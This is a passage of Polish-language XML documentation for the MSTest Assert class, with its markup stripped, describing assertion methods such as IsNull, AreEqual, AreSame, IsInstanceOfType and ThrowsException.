wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość true. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is true. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość true. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is true. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Komunikat do dołączenia do wyjątku, gdy element - nie ma wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość null, i zgłasza wyjątek, - jeśli ma inną wartość. - - - Obiekt, którego wartość oczekiwana przez test to null. - - - Komunikat do dołączenia do wyjątku, gdy element - nie ma wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Thrown if is null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is null. - - - - - Testuje, czy określony obiekt ma wartość inną niż null, i zgłasza wyjątek, - jeśli ma wartość null. - - - Obiekt, którego wartość oczekiwana przez test jest inna niż null. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is null. - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest tym samym elementem co . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy oba określone obiekty przywołują ten sam obiekt, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe nie przywołują tego samego obiektu. - - - Pierwszy obiekt do porównania. To jest wartość, której oczekuje test. - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest tym samym elementem co . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not refer to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest taki sam jak element . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone obiekty przywołują inne obiekty, - i zgłasza wyjątek, jeśli dwa obiekty wejściowe przywołują ten sam obiekt. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest taki sam jak element . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if refers to the same object - as . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości są równe, i zgłasza wyjątek, - jeśli dwie wartości są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, której oczekuje test. - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości są różne, i zgłasza wyjątek, - jeśli dwie wartości są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - The type of values to compare. - - - Pierwsza wartość do porównania. To jest wartość, która według testu - nie powinna pasować . - - - Druga wartość do porównania. To jest wartość utworzona przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są równe, i zgłasza wyjątek, - jeśli dwa obiekty są różne. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest obiekt, którego oczekuje test. - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone obiekty są różne, i zgłasza wyjątek, - jeśli dwa obiekty są równe. Różne typy liczbowe są traktowane - jako różne, nawet jeśli wartości logiczne są równe. Wartość 42L jest różna od wartości 42. - - - Pierwszy obiekt do porównania. To jest wartość, która zgodnie z testem powinna - nie pasować do elementu . - - - Drugi obiekt do porównania. To jest obiekt utworzony przez testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa, której oczekuje test. - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości zmiennoprzecinkowe są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość zmiennoprzecinkowa do porównania. Test oczekuje, że ta wartość zmiennoprzecinkowa nie będzie - zgodna z elementem . - - - Druga wartość zmiennoprzecinkowa do porównania. To jest wartość zmiennoprzecinkowa utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwsza wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji, której oczekuje test. - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o więcej niż . - - - Komunikat do dołączenia do wyjątku, gdy element - jest różny od elementu o więcej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone wartości podwójnej precyzji są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwsza wartość podwójnej precyzji do porównania. Test oczekuje, że ta wartość podwójnej precyzji - nie będzie pasować do elementu . - - - Druga wartość podwójnej precyzji do porównania. To jest wartość podwójnej precyzji utworzona przez testowany kod. - - - Wymagana dokładność. Wyjątek zostanie zgłoszony, tylko jeśli - jest różny od elementu - o co najwyżej . - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi lub różny o mniej niż - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są równe, i zgłasza wyjątek, - jeśli są różne. - - - Pierwszy ciąg do porównania. To jest ciąg, którego oczekuje test. - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. Na potrzeby tego porównania jest używana niezmienna kultura. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest wystąpieniem typu . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest wystąpieniem typu . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Komunikat do dołączenia do wyjątku, gdy element - jest wystąpieniem typu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Komunikat do dołączenia do wyjątku, gdy element - jest wystąpieniem typu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Zgłasza wyjątek AssertFailedException. - - - Always thrown. - - - - - Zgłasza wyjątek AssertFailedException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Always thrown. - - - - - Zgłasza wyjątek AssertFailedException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Always thrown. - - - - - Statyczne przeciążenia metody equals są używane do porównywania wystąpień dwóch typów pod kątem - równości odwołań. Ta metoda nie powinna być używana do porównywania dwóch wystąpień pod kątem - równości. Ten obiekt zawsze będzie zgłaszał wyjątek za pomocą metody Assert.Fail. Użyj metody - Assert.AreEqual i skojarzonych przeciążeń w testach jednostkowych. - - Obiekt A - Obiekt B - Zawsze wartość false. - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - 